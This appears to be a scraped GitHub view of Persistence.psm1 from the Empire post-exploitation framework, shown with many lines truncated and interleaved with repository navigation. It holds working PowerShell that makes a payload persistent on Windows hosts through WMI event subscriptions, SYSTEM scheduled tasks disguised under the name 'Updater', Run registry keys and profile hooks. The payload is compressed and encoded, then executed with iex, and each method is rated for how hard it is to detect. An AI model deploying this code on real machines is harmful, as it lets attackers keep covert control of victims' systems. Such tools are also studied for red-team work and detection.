Empire / data / module_source / persistence / Persistence.psm1

HarmJ0y Initial BSidesLV '15 release of v1.0.0 751d0c1 · 9 years ago History

```
1   function New-ElevatedPersistenceOption
2   {
3   <#
4   .SYNOPSIS
5
6       Configure elevated persistence options for the Add-Persistence function.
7
8       PowerSploit Function: New-ElevatedPersistenceOption
9       Author: Matthew Graeber (@mattifestation)
10      License: BSD 3-Clause
11      Required Dependencies: None
12      Optional Dependencies: None
13
14  .DESCRIPTION
15
16      New-ElevatedPersistenceOption allows for the configuration of elevated persistence
17
18  .PARAMETER PermanentWMI
19
20      Persist via a permanent WMI event subscription. This option will be the most diffic
21
22      Detection Difficulty:       Difficult
23      Removal Difficulty:         Difficult
24      User Detectable?            No
25
26  .PARAMETER ScheduledTask
27
28      Persist via a scheduled task.
29
30      Detection Difficulty:       Moderate
31      Removal Difficulty:         Moderate
32      User Detectable?            No
33
34  .PARAMETER Registry
35
36      Persist via the HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key. No
37
38      Detection Difficulty:       Easy
39      Removal Difficulty:         Easy
40      User Detectable?            Yes
41
42  .PARAMETER AtLogon
43
44      Starts the payload upon any user logon.
45
46  .PARAMETER AtStartup
47
48      Starts the payload within 240 and 325 seconds of computer startup.
49
50  .PARAMETER OnIdle
51
52      Starts the payload after one minute of idling.
53
54  .PARAMETER Daily
55
```

```
56          Starts the payload daily.
57
58      .PARAMETER At
59
60          Starts the payload at the specified time. You may specify times in the following fo
61
62      .EXAMPLE
63
64          C:\PS> $ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '3
65
66      .EXAMPLE
67
68          C:\PS> $ElevatedOptions = New-ElevatedPersistenceOption -Registry -AtStartup
69
70      .EXAMPLE
71
72          C:\PS> $ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle
73
74      .LINK
75
```

```
425
426             [Switch]
427             $DoNotPersistImmediately,
428
```

```
429             [Switch]
430             $PassThru
431         )
432
433         Set-StrictMode -Version 2
434
435     #region Validate arguments
436
437         if ($ElevatedPersistenceOption.PSObject.TypeNames[0] -ne 'PowerSploit.Persistence.E
438         {
439             throw 'You provided invalid elevated persistence options.'
440         }
441
442         if ($UserPersistenceOption.PSObject.TypeNames[0] -ne 'PowerSploit.Persistence.UserP
443         {
444             throw 'You provided invalid user-level persistence options.'
445         }
446
447         $Result = Get-Item $PersistentScriptFilePath -ErrorAction SilentlyContinue
448         if ($Result -and $Result.PSIsContainer)
449         {
450             throw 'You must provide a file name with the PersistentScriptFilePath option.'
451         }
452
453         $Result = Get-Item $RemovalScriptFilePath -ErrorAction SilentlyContinue
454         if ($Result -and $Result.PSIsContainer)
455         {
456             throw 'You must provide a file name with the RemovalScriptFilePath option.'
457         }
458
459         $PersistentPath = Split-Path $PersistentScriptFilePath -ErrorAction Stop
460         $Leaf = Split-Path $PersistentScriptFilePath -Leaf -ErrorAction Stop
461         $PersistentScriptFile = ''
462         $RemovalScriptFile = ''
463
464         if ($PersistentPath -eq '')
465         {
466             # i.e. Only a file name was provided implying $PWD
467             $PersistentScriptFile = "$($PWD)\$($Leaf)"
468         }
469         else
470         {
471             $PersistentScriptFile = "$(Resolve-Path $PersistentPath)\$($Leaf)"
472         }
473
474         $RemovalPath = Split-Path $RemovalScriptFilePath -ErrorAction Stop
475         $Leaf = Split-Path $RemovalScriptFilePath -Leaf -ErrorAction Stop
476         if ($RemovalPath -eq '')
477         {
478             # i.e. Only a file name was provided implying $PWD
479             $RemovalScriptFile = "$($PWD)\$($Leaf)"
480         }
481         else
482         {
483             $RemovalScriptFile = "$(Resolve-Path $RemovalPath)\$($Leaf)"
484         }
485
486         if ($PSBoundParameters['FilePath'])
487         {
488             $null = Get-ChildItem $FilePath -ErrorAction Stop
489             $Script = [IO.File]::ReadAllText((Resolve-Path $FilePath))
490         }
491         else
492         {
493             $Script = $ScriptBlock
494         }
495
496     #endregion
497
498     #region Initialize data
499
500         $CompressedScript = ''
501         $UserTrigger = ''
502         $UserTriggerRemoval = ''
```

```
503         $ElevatedTrigger = "'`'"
504         $ElevatedTriggerRemoval = ''
505         $UserTrigger = "'`'"
506         $UserTriggerRemoval = ''
507         $CommandLine = ''
508
509     #endregion
510
511     #region Compress the original payload in preparation for the persistence script
512
513         $ScriptBytes = ([Text.Encoding]::ASCII).GetBytes($Script)
514         $CompressedStream = New-Object IO.MemoryStream
515         $DeflateStream = New-Object IO.Compression.DeflateStream ($CompressedStream, [IO.Co
516         $DeflateStream.Write($ScriptBytes, 0, $ScriptBytes.Length)
517         $DeflateStream.Dispose()
518         $CompressedScriptBytes = $CompressedStream.ToArray()
519         $CompressedStream.Dispose()
520         $EncodedCompressedScript = [Convert]::ToBase64String($CompressedScriptBytes)
521
522         # Generate the code that will decompress and execute the payload.
523         # This code is intentionally ugly to save space.
524         $NewScript = 'sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStrea
```

Files

08cbd27

Go to file

- .github
- data
  - agent
  - misc
  - module_source
    - code_execution
    - collection
    - credentials
    - exfil
    - exploitation
    - fun
    - lateral_movement
    - management
    - persistence
      - Get-SecurityPackages.ps1
      - Install-SSP.ps1
      - Invoke-BackdoorLNK.ps1
      - Persistence.psm1
      - PowerBreach.ps1
    - privesc
    - python
    - recon
    - situational_awareness
    - trollsploit
  - obfuscated_module_source
  - profiles
- lib
- plugins

Empire / data / module_source / persistence / Persistence.psm1 ↑ Top

Code | Blame | 1046 lines (787 loc) · 36.2 KB | Raw

```
530         # Begin processing elevated persistence options
531         switch ($ElevatedPersistenceOption.Method)
532         {
533             'PermanentWMI'
534             {
535                 $ElevatedTriggerRemoval = {
536     Get-WmiObject __eventFilter -namespace root\subscription -filter "name='Updater'"| Remo
537     Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter "name='Upda
538     Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $
539                 }
540
541                 switch ($ElevatedPersistenceOption.Trigger)
542                 {
543                     'AtStartup'
544                     {
545                         $ElevatedTrigger = "``"```$Filter=Set-WmiInstance -Class __EventFilt
546                     }
547
548                     'Daily'
549                     {
550                         $ElevatedTrigger = "``"```$Filter=Set-WmiInstance -Class __EventFilt
551                     }
552
553                     default
554                     {
555                         throw 'Invalid elevated persistence options provided!'
556                     }
557                 }
558             }
559
560             'ScheduledTask'
561             {
562                 $CommandLine = '``"$($Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powers
563                 $ElevatedTriggerRemoval = "schtasks /Delete /TN Updater"
564
565                 switch ($ElevatedPersistenceOption.Trigger)
566                 {
567                     'AtLogon'
568                     {
569                         $ElevatedTrigger = "schtasks /Create /RU system /SC ONLOGON /TN Upd
570                     }
571
572                     'Daily'
573                     {
574                         $ElevatedTrigger = "schtasks /Create /RU system /SC DAILY /ST $($El
575                     }
576
577                     'OnIdle'
```

setup
.build.sh
.dockerignore
.gitignore
.release.sh
Dockerfile
LICENSE
README.md
VERSION
changelog
empire

```
578                     {
579                         $ElevatedTrigger = "schtasks /Create /RU system /SC ONIDLE /I 1 /TN
580                     }
581
582                     default
583                     {
584                         throw 'Invalid elevated persistence options provided!'
585                     }
586                 }
587
588                 $ElevatedTrigger = '"' + $ElevatedTrigger + $CommandLine + '"'
589             }
590
591             'Registry'
592             {
593                 $ElevatedTrigger = "New-ItemProperty -Path HKLM:Software\Microsoft\Windows\
594                 $ElevatedTriggerRemoval = "Remove-ItemProperty -Path HKLM:Software\Microsof
595                 $CommandLine = "`"```"`$(`$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\
596                 $ElevatedTrigger = "'" + $ElevatedTrigger + $CommandLine + "'"
597             }
598
599             default
600             {
601                 throw 'Invalid elevated persistence options provided!'
602             }
603         }
604
605         # Begin processing user-level persistence options
606         switch ($UserPersistenceOption.Method)
607         {
608             'ScheduledTask'
609             {
610                 $CommandLine = '`"$($Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powers
611                 $UserTriggerRemoval = "schtasks /Delete /TN Updater"
612
613                 switch ($UserPersistenceOption.Trigger)
614                 {
615                     'Daily'
616                     {
617                         $UserTrigger = "schtasks /Create /SC DAILY /ST $($UserPersistenceOp
618                     }
619
620                     'OnIdle'
621                     {
622                         $UserTrigger = "schtasks /Create /SC ONIDLE /I 1 /TN Updater /TR "
623                     }
624
625                     default
626                     {
627                         throw 'Invalid user-level persistence options provided!'
628                     }
629                 }
630
631                 $UserTrigger = '"' + $UserTrigger + $CommandLine + '"'
632             }
633
634             'Registry'
635             {
636                 $UserTrigger = "New-ItemProperty -Path HKCU:Software\Microsoft\Windows\Curr
637                 $UserTriggerRemoval = "Remove-ItemProperty -Path HKCU:Software\Microsoft\Wi
638                 $CommandLine = "`"```"`$(`$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\
639                 $UserTrigger = "'" + $UserTrigger + $CommandLine + "'"
640             }
641
642             default
643             {
644                 throw 'Invalid user-level persistence options provided!'
645             }
646         }
647
648     #endregion
649
650     #region Original script with its persistence logic will reside here
651
```

```
652     # This is intentionally ugly in the interest of saving space on the victim machine.
653     $PersistantScript = {
654     function FUNCTIONNAME{
655     Param([Switch]$Persist)
656     $ErrorActionPreference='SilentlyContinue'
657     $Script={ORIGINALSCRIPT}
658     if($Persist){
659     if(([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurre
660     {$Prof=$PROFILE.AllUsersAllHosts;$Payload=ELEVATEDTRIGGER}
661     else
```

```
        $null = $EnumBuilder.DefineLiteral('APPCONTAINER_CHECKS', 0x800000)
        $SECPKG_FLAG = $EnumBuilder.CreateType()

        $TypeBuilder = $ModuleBuilder.DefineType('SSPI.SecPkgInfo', $StructAttributes, [Obj
        $null = $TypeBuilder.DefineField('fCapabilities', $SECPKG_FLAG, 'Public')
        $null = $TypeBuilder.DefineField('wVersion', [Int16], 'Public')
        $null = $TypeBuilder.DefineField('wRPCID', [Int16], 'Public')
        $null = $TypeBuilder.DefineField('cbMaxToken', [Int32], 'Public')
        $null = $TypeBuilder.DefineField('Name', [IntPtr], 'Public')
        $null = $TypeBuilder.DefineField('Comment', [IntPtr], 'Public')
        $SecPkgInfo = $TypeBuilder.CreateType()

        $TypeBuilder = $ModuleBuilder.DefineType('SSPI.Secur32', 'Public, Class')
        $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('EnumerateSecurityPackages',
            'secur32.dll',
            'Public, Static',
            [Reflection.CallingConventions]::Standard,
            [Int32],
            [Type[]] @([Int32].MakeByRefType(),
                [IntPtr].MakeByRefType()),
            [Runtime.InteropServices.CallingConvention]::Winapi,
            [Runtime.InteropServices.CharSet]::Ansi)

        $Secur32 = $TypeBuilder.CreateType()

        $PackageCount = 0
        $PackageArrayPtr = [IntPtr]::Zero
        $Result = $Secur32::EnumerateSecurityPackages([Ref] $PackageCount, [Ref] $PackageAr

        if ($Result -ne 0)
        {
            throw "Unable to enumerate seucrity packages. Error (0x$($Result.ToString('X8')
        }

        if ($PackageCount -eq 0)
        {
            Write-Verbose 'There are no installed security packages.'
            return
        }

        $StructAddress = $PackageArrayPtr

        foreach ($i in 1..$PackageCount)
        {
            $SecPackageStruct = [Runtime.InteropServices.Marshal]::PtrToStructure($StructAd
            $StructAddress = [IntPtr] ($StructAddress.ToInt64() + [Runtime.InteropServices.

            $Name = $null

            if ($SecPackageStruct.Name -ne [IntPtr]::Zero)
            {
                $Name = [Runtime.InteropServices.Marshal]::PtrToStringAnsi($SecPackageStruc
```

```
1025            }
1026
1027            $Comment = $null
1028
1029            if ($SecPackageStruct.Comment -ne [IntPtr]::Zero)
1030            {
1031                $Comment = [Runtime.InteropServices.Marshal]::PtrToStringAnsi($SecPackageSt
1032            }
1033
1034            $Attributes = @{
1035                Name = $Name
1036                Comment = $Comment
1037                Capabilities = $SecPackageStruct.fCapabilities
1038                MaxTokenSize = $SecPackageStruct.cbMaxToken
1039            }
1040
1041            $SecPackage = New-Object PSObject -Property $Attributes
1042            $SecPackage.PSObject.TypeNames[0] = 'SECUR32.SECPKGINFO'
1043
1044            $SecPackage
1045        }
1046    }
```